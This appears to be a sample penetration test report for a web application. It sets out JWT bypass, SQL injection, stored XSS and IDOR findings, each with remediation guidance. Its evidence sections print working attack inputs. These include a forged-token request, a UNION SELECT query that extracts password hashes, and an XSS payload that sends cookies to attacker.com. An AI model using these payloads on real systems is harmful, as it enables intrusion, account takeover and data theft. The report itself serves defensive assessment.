MACED AI

CONFIDENTIAL

TechCorp Industries Web Application Penetration Test

PENETRATION TEST REPORT

Full-Stack Security Assessment

Assessment Period: February 24 – February 27, 2026

Report Date: February 27, 2026

Version: 1.0

Reference: MACED-2026-0047

Table of Contents

1. Executive Summary

Maced AI conducted an automated penetration test of the TechCorp Industries web application (`app.techcorp.io`) and its supporting API infrastructure between February 24–27, 2026. The assessment employed 3 specialized AI pentesting agents that performed comprehensive black-box and white-box testing across the application stack.

Overall Risk Rating: HIGH

The assessment identified 12 vulnerabilities across the application, including 2 critical-severity findings that require immediate attention. The most significant issues relate to authentication bypass and SQL injection vulnerabilities that could allow unauthorized access to sensitive user data.

> **Scope Limitations:** Internal network services and third-party integrations (Stripe, SendGrid) were excluded from the testing scope per client request.

Key Findings

- Authentication bypass via JWT token manipulation allows privilege escalation to admin role
- SQL injection in the search endpoint enables extraction of the full user database
- Cross-site scripting (stored XSS) in user profile fields affects all authenticated users
- Insecure direct object references (IDOR) in the API expose other users' billing data
- Missing rate limiting on authentication endpoints enables credential stuffing attacks

Priority Recommendations

1. Implement server-side JWT validation with proper signature verification and token expiry
2. Replace raw SQL queries with parameterized statements across the search module
3. Deploy a web application firewall (WAF) with XSS and SQLi rule sets
4. Implement rate limiting and account lockout on all authentication endpoints
5. Add authorization checks to all API endpoints using middleware-level access control

2	3	4	2	1
CRITICAL	HIGH	MEDIUM	LOW	INFO

2. Scope and Methodology

Assessment Objectives

- Identify security vulnerabilities in the TechCorp Industries web application and API
- Validate exploitability of discovered vulnerabilities with proof-of-concept evidence
- Assess the overall security posture against OWASP Top 10 and SANS Top 25
- Provide actionable remediation guidance aligned with SOC 2 and ISO 27001 requirements
- Generate audit-ready documentation suitable for compliance certification

Testing Approach

The assessment was performed using 3 specialized AI pentesting agents operating concurrently. Testing combined both black-box (external attacker perspective) and white-box (source code review) methodologies to maximize coverage. Each agent focused on a distinct attack surface: web application, API endpoints, and authentication infrastructure.

In-Scope Assets

ASSET	TYPE	STATUS	NOTES
`app.techcorp.io`	Web Application	✓ Tested	Primary application (React + Node.js)
`api.techcorp.io`	REST API	✓ Tested	v2 API endpoints
`auth.techcorp.io`	Auth Service	✓ Tested	OAuth 2.0 / JWT authentication
`cdn.techcorp.io`	CDN / Static Assets	✓ Tested	CloudFront distribution

Methodologies

Web Application Security Testing

Testing followed the OWASP Testing Guide v4.2 and OWASP Top 10 (2021) framework. All test categories were covered including injection, broken authentication, sensitive data exposure, XML external entities, broken access control, security misconfiguration, XSS, insecure deserialization, using components with known vulnerabilities, and insufficient logging.

API Security Testing

API testing followed the OWASP API Security Top 10 (2023) with focus on broken object-level authorization, broken authentication, excessive data exposure, lack of resources and rate limiting, and

broken function-level authorization.

Source Code Review

White-box analysis of the application source code repository identified insecure coding patterns, hardcoded credentials, and architectural weaknesses not discoverable through external testing alone.

Compliance Mapping

Findings are mapped to the following compliance frameworks to support audit readiness:

FRAMEWORK	CONTROLS	DESCRIPTION
SOC 2 Type II	CC6.1, CC6.6, CC6.7, CC7.1, CC7.2, CC8.1	Logical access, system boundaries, change management
ISO 27001:2022	A.8.8, A.8.9, A.8.24, A.8.25, A.8.28	Technical vulnerability management, secure development
OWASP Top 10	A01–A10 (2021)	Web application security risk categories

Tools Utilized

`Maced AI Agent SDK` `Playwright` `Nmap` `SQLMap` `Nuclei` `Custom Scripts` `Burp Suite` `OWASP ZAP`

3. Findings Summary

A total of 12 findings were identified during this assessment.

Findings by Severity

SEVERITY	COUNT	PERCENTAGE
CRITICAL	2	16.7%
HIGH	3	25.0%
MEDIUM	4	33.3%
LOW	2	16.7%
INFO	1	8.3%
Total	**12**	**100%**

Findings Overview

ID	SEVERITY	TITLE	STATUS
AUTH-VULN-01	CRITICAL	JWT Authentication Bypass via Algorithm Confusion	CONFIRMED
INJ-VULN-01	CRITICAL	SQL Injection in Search Endpoint	CONFIRMED
XSS-VULN-01	HIGH	Stored XSS in User Profile Bio Field	CONFIRMED
AUTHZ-VULN-01	HIGH	IDOR in Billing API Exposes User Payment Data	CONFIRMED
AUTH-VULN-02	HIGH	Missing Rate Limiting on Login Endpoint	CONFIRMED
CSRF-VULN-01	MEDIUM	CSRF on Account Settings Update	CONFIRMED
SSRF-VULN-01	MEDIUM	SSRF via Webhook URL Parameter	CONFIRMED
XSS-VULN-02	MEDIUM	Reflected XSS in Error Page Parameter	CONFIRMED

ID	SEVERITY	TITLE	STATUS
MISC-VULN-01	MEDIUM	Verbose Error Messages Expose Stack Traces	CONFIRMED
MISC-VULN-02	LOW	Missing Security Headers (X-Frame-Options, CSP)	CONFIRMED
MISC-VULN-03	LOW	Cookie Without Secure and HttpOnly Flags	CONFIRMED
MISC-VULN-04	INFO	Server Version Disclosure in HTTP Response Headers	CONFIRMED

4. Detailed Findings

AUTH-VULN-01: JWT Authentication Bypass via Algorithm Confusion

CRITICAL

AFFECTED ASSETS

`auth.techcorp.io/api/v2/token/verify`

CVSS SCORE

9.8 (Critical) • CWE-287: Improper Authentication

DESCRIPTION

The JWT token verification endpoint accepts tokens signed with the `HS256` algorithm when the server is configured for `RS256`. An attacker can forge valid JWT tokens using the server's public RSA key as the HMAC secret, bypassing authentication entirely and gaining access to any user account including administrator accounts.

BUSINESS IMPACT

Complete authentication bypass allowing unauthorized access to all user accounts. An attacker could access, modify, or delete any user's data, escalate privileges to administrator, and potentially compromise the entire application infrastructure.

EVIDENCE

```
POST /api/v2/token/verify HTTP/1.1
Host: auth.techcorp.io
Content-Type: application/json

{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ
zdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc
0MDY5MDAwMH0.forged_signature_using_public_key"}

HTTP/1.1 200 OK
{"valid": true, "user": {"id": "admin", "role": "admin"}}
```

Figure: Forged JWT token accepted by the verification endpoint with admin privileges

STEPS TO REPRODUCE

1. Retrieve the server's public RSA key from `/.well-known/jwks.json`
2. Use the public key as the HMAC secret to sign a new JWT with `alg: "HS256"`
3. Set the `sub` claim to `"admin"` and `role` to `"admin"`
4. Send the forged token to `/api/v2/token/verify`
5. Observe the token is accepted as valid with admin privileges

REMEDIATION

Short-term: Explicitly restrict the accepted JWT algorithms to `RS256` only in the token verification configuration. Reject any token using an unexpected algorithm.

Long-term: Migrate to a well-maintained JWT library that enforces algorithm allowlisting by default. Implement token binding and add audience/issuer validation claims.

Effort: Low • Priority: CRITICAL

REFERENCES

- OWASP: Testing for JWT Vulnerabilities (WSTG-SESS-10)
- CWE-287: Improper Authentication
- SOC 2: CC6.1 (Logical Access Security)
- ISO 27001: A.8.5 (Secure Authentication)

INJ-VULN-01: SQL Injection in Search Endpoint

CRITICAL

AFFECTED ASSETS

`api.techcorp.io/api/v2/search?q=`

CVSS SCORE

9.1 (Critical) • CWE-89: SQL Injection

DESCRIPTION

The search endpoint concatenates user input directly into SQL queries without parameterization. An attacker can inject arbitrary SQL statements to extract, modify, or delete database contents including user credentials, personal information, and billing records.

BUSINESS IMPACT

Full database compromise including extraction of all user records (estimated 47,000 users), hashed passwords, billing information, and internal application data. This vulnerability poses significant regulatory risk under GDPR and could result in mandatory breach notification.

EVIDENCE

```
GET /api/v2/search?q=' UNION SELECT id,email,password_hash,
billing_token,NULL FROM users-- HTTP/1.1
Host: api.techcorp.io
Authorization: Bearer [valid_user_token]

HTTP/1.1 200 OK
{"results": [
  {"id": 1, "name": "admin@techcorp.io",
   "desc": "$2b$12$LJ3m4...hashed...",
   "price": "tok_live_4242..."},
  ...
]}
```

Figure: UNION-based SQL injection extracting user credentials and billing tokens

STEPS TO REPRODUCE

1. Authenticate as any standard user and obtain a valid session token
2. Send a GET request to `/api/v2/search?q=' OR 1=1--` to confirm injection
3. Enumerate database tables using `UNION SELECT` with `information_schema`
4. Extract the `users` table including `email`, `password_hash`, and `billing_token` columns

REMEDIATION

Short-term: Replace all raw SQL string concatenation in the search module with parameterized queries or prepared statements. Apply input validation to reject SQL

metacharacters.

Long-term: Adopt an ORM or query builder across the codebase. Implement database-level least-privilege access so the application user cannot access sensitive tables directly.

Effort: Medium • Priority: CRITICAL

REFERENCES

- OWASP: SQL Injection (A03:2021 — Injection)
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command
- SOC 2: CC6.6 (System Boundary Protection)
- ISO 27001: A.8.28 (Secure Coding)

XSS-VULN-01: Stored XSS in User Profile Bio Field

HIGH

AFFECTED ASSETS

`app.techcorp.io/profile/edit`

CVSS SCORE

7.6 (High) • CWE-79: Cross-Site Scripting (Stored)

DESCRIPTION

The user profile biography field does not sanitize HTML input before storing it in the database or rendering it on profile pages. An attacker can inject malicious JavaScript that executes in the context of any user who views the attacker's profile page.

BUSINESS IMPACT

Session hijacking of any user who views the malicious profile, enabling account takeover. An attacker could chain this with the IDOR vulnerability to access billing data of compromised users. Potential for worm-like propagation across user profiles.

EVIDENCE

```
PUT /api/v2/users/me/profile HTTP/1.1
Host: api.techcorp.io
Content-Type: application/json

{"bio": "<img src=x onerror='fetch(\"https://attacker.com/steal?c=\"+
document.cookie)'>"}

HTTP/1.1 200 OK
{"status": "updated"}
```

Figure: Stored XSS payload persisted in profile bio field, executing on page view

STEPS TO REPRODUCE

1. Navigate to `/profile/edit` as an authenticated user
2. Enter the XSS payload in the biography field
3. Save the profile and navigate to the public profile page
4. Observe the JavaScript executing in the browser console

REMEDIATION

Short-term: Implement server-side HTML sanitization using a library like DOMPurify. Encode all user-generated content before rendering in HTML context.

Long-term: Deploy Content Security Policy (CSP) headers to prevent inline script execution. Implement output encoding at the template layer across all user-facing pages.

Effort: Low • Priority: HIGH

REFERENCES

- OWASP: Cross-Site Scripting (A07:2021 — XSS)
- CWE-79: Improper Neutralization of Input During Web Page Generation
- SOC 2: CC6.1 (Logical Access), CC7.2 (System Monitoring)
- ISO 27001: A.8.28 (Secure Coding)

AUTHZ-VULN-01: IDOR in Billing API Exposes User Payment Data

HIGH

AFFECTED ASSETS

`api.techcorp.io/api/v2/users/{userId}/billing`

CVSS SCORE

7.5 (High) • CWE-639: Authorization Bypass Through User-Controlled Key

DESCRIPTION

The billing API endpoint uses the user ID from the URL path to retrieve billing information without verifying that the authenticated user is authorized to access that specific user's data. Any authenticated user can enumerate and access billing details of all other users by iterating through user IDs.

BUSINESS IMPACT

Exposure of billing data including partial payment card numbers, billing addresses, and subscription details for all platform users. This represents a PCI DSS compliance violation and potential breach notification obligation.

EVIDENCE

```
GET /api/v2/users/1042/billing HTTP/1.1
Host: api.techcorp.io
Authorization: Bearer [user_5271_token]

HTTP/1.1 200 OK
{"userId": 1042, "card_last4": "4242",
 "billing_address": "123 Main St, San Francisco, CA",
 "plan": "enterprise", "mrr": 499.00}
```

Figure: User 5271's token accessing user 1042's billing data without authorization check

STEPS TO REPRODUCE

1. Authenticate as a standard user and note your user ID
2. Send a GET request to `/api/v2/users/{other_user_id}/billing` with your auth token
3. Observe that billing data for the other user is returned without authorization error
4. Iterate through sequential user IDs to enumerate all billing records

REMEDIATION

Short-term: Add authorization middleware to verify the authenticated user matches the requested user ID on all user-scoped endpoints. Return 403 for unauthorized access attempts.

Long-term: Implement a centralized authorization framework with resource-level access control. Replace sequential user IDs with UUIDs to prevent enumeration.

Effort: Low • Priority: HIGH

REFERENCES

- OWASP: Broken Object Level Authorization (API1:2023)
- CWE-639: Authorization Bypass Through User-Controlled Key
- SOC 2: CC6.1 (Logical Access), CC6.3 (Role-Based Access)
- ISO 27001: A.8.3 (Information Access Restriction)

5. Attack Surface Analysis

The external attack surface assessment revealed 4 publicly accessible services across 2 hostnames. The application infrastructure is hosted on AWS with CloudFront as the CDN layer.

External Exposure

The application exposes a standard web architecture with frontend, API, and authentication services accessible over HTTPS. TLS configuration is adequate (TLS 1.2+) across all endpoints. No unnecessary services or administrative interfaces were found exposed to the public internet.

Discovered Infrastructure

HOSTNAME	IP ADDRESSES	OPEN PORTS	TECHNOLOGIES	STATUS
`app.techcorp.io`	52.84.xx.xx (CF)	443/tcp	React, CloudFront, Next.js	LIVE
`api.techcorp.io`	3.21.xx.xx	443/tcp	Node.js, Express, PostgreSQL	LIVE
`auth.techcorp.io`	3.21.xx.xx	443/tcp	Node.js, JWT, Redis	LIVE
`cdn.techcorp.io`	52.84.xx.xx (CF)	443/tcp	CloudFront, S3	LIVE

6. Risk Assessment

Overall Assessment

The TechCorp Industries web application exhibits a **High** overall risk level. The combination of authentication bypass and SQL injection vulnerabilities creates a critical attack chain that could lead to complete application compromise. While transport security and infrastructure hardening are adequate, application-layer controls require significant improvement.

Risk by Category

CATEGORY	RISK LEVEL	ASSESSMENT
Authentication Security	CRITICAL	JWT algorithm confusion allows full authentication bypass
Authorization Controls	HIGH	Missing object-level authorization on sensitive endpoints
Input Validation	CRITICAL	SQL injection and XSS indicate systemic input handling failures
Transport Security	LOW	TLS 1.2+ enforced, HSTS present, adequate cipher suite
Information Disclosure	MEDIUM	Stack traces and server version exposed in responses
Session Management	MEDIUM	Cookie flags missing, no rate limiting on auth endpoints

Business Risk

The identified vulnerabilities pose material business risk. The SQL injection vulnerability alone could result in a data breach affecting all 47,000 user accounts, triggering GDPR breach notification requirements and potential regulatory fines. The authentication bypass could enable an attacker to operate with administrator privileges, potentially disrupting service availability and data integrity.

Compliance Implications

Several findings have direct implications for SOC 2 and ISO 27001 compliance:

- **SOC 2 CC6.1:** Authentication bypass violates logical access controls — requires immediate remediation for continued compliance
- **SOC 2 CC6.6:** SQL injection represents a failure in system boundary protection
- **ISO 27001 A.8.28:** XSS and SQLi indicate gaps in secure coding practices

- **ISO 27001 A.8.8:** Multiple findings indicate insufficient technical vulnerability management

7. Recommendations

The following recommendations are prioritized based on risk severity and implementation effort:

1. Fix JWT Algorithm Validation

CRITICAL

Restrict the JWT verification to accept only the `RS256` algorithm. Reject tokens using any other algorithm at the library configuration level, not via application logic.

Effort: Low • Benefit: Eliminates complete authentication bypass
Related Findings: AUTH-VULN-01

2. Parameterize All Database Queries

CRITICAL

Replace all raw SQL string concatenation with parameterized queries or an ORM. Conduct a codebase-wide audit of all database interaction points. Implement a linting rule to flag string concatenation in SQL query construction.

Effort: Medium • Benefit: Eliminates SQL injection attack vector across the application
Related Findings: INJ-VULN-01

3. Implement Input Sanitization and Output Encoding

HIGH

Deploy server-side HTML sanitization (DOMPurify or equivalent) on all user input fields. Implement Content Security Policy headers to prevent inline script execution. Apply output encoding at the template rendering layer.

Effort: Medium • Benefit: Eliminates XSS attack vectors and reduces client-side attack surface
Related Findings: XSS-VULN-01, XSS-VULN-02

4. Add Authorization Middleware

HIGH

Implement centralized authorization checks at the middleware level for all user-scoped API endpoints. Verify the authenticated user is authorized to access the requested resource before processing any request.

Effort: Medium • Benefit: Prevents unauthorized data access across all user-scoped endpoints
Related Findings: AUTHZ-VULN-01

5. Deploy Rate Limiting and Security Headers

MEDIUM

Implement rate limiting on authentication endpoints (recommended: 5 attempts per minute per IP). Add missing security headers: Content-Security-Policy, X-Frame-Options, X-Content-Type-Options, Referrer-Policy. Set Secure and HttpOnly flags on all cookies.

Effort: Low • Benefit: Reduces brute-force and client-side attack surface
Related Findings: AUTH-VULN-02, MISC-VULN-02, MISC-VULN-03

8. Conclusion

The penetration test of TechCorp Industries' web application revealed a security posture that requires significant improvement before the application can be considered production-ready for handling sensitive user data.

Security Posture Assessment: MODERATE

Positive Observations

- TLS 1.2+ enforced across all endpoints with strong cipher suites
- HSTS headers present with adequate max-age values
- No unnecessary services or administrative interfaces exposed externally
- Modern technology stack with active maintenance and patching
- Adequate network segmentation between application tiers

Areas for Improvement

- Application-layer input validation and output encoding require systematic implementation
- Authorization controls are missing at the API endpoint level
- Authentication infrastructure has critical configuration vulnerabilities
- Security monitoring and logging need enhancement for incident detection
- Secure development practices should be formalized with security testing in the CI/CD pipeline

Recommended Next Steps

1. Address all Critical and High severity findings within 14 days
2. Remediate Medium severity findings within 30 days
3. Schedule a retest after remediation to validate fixes
4. Implement automated security testing in the CI/CD pipeline
5. Conduct security awareness training for the development team
6. Establish a regular penetration testing cadence (quarterly recommended)

This report was generated by Maced AI — Autonomous AI Penetration Testing Platform
Report Reference: MACED-2026-0047 • **Classification:** Confidential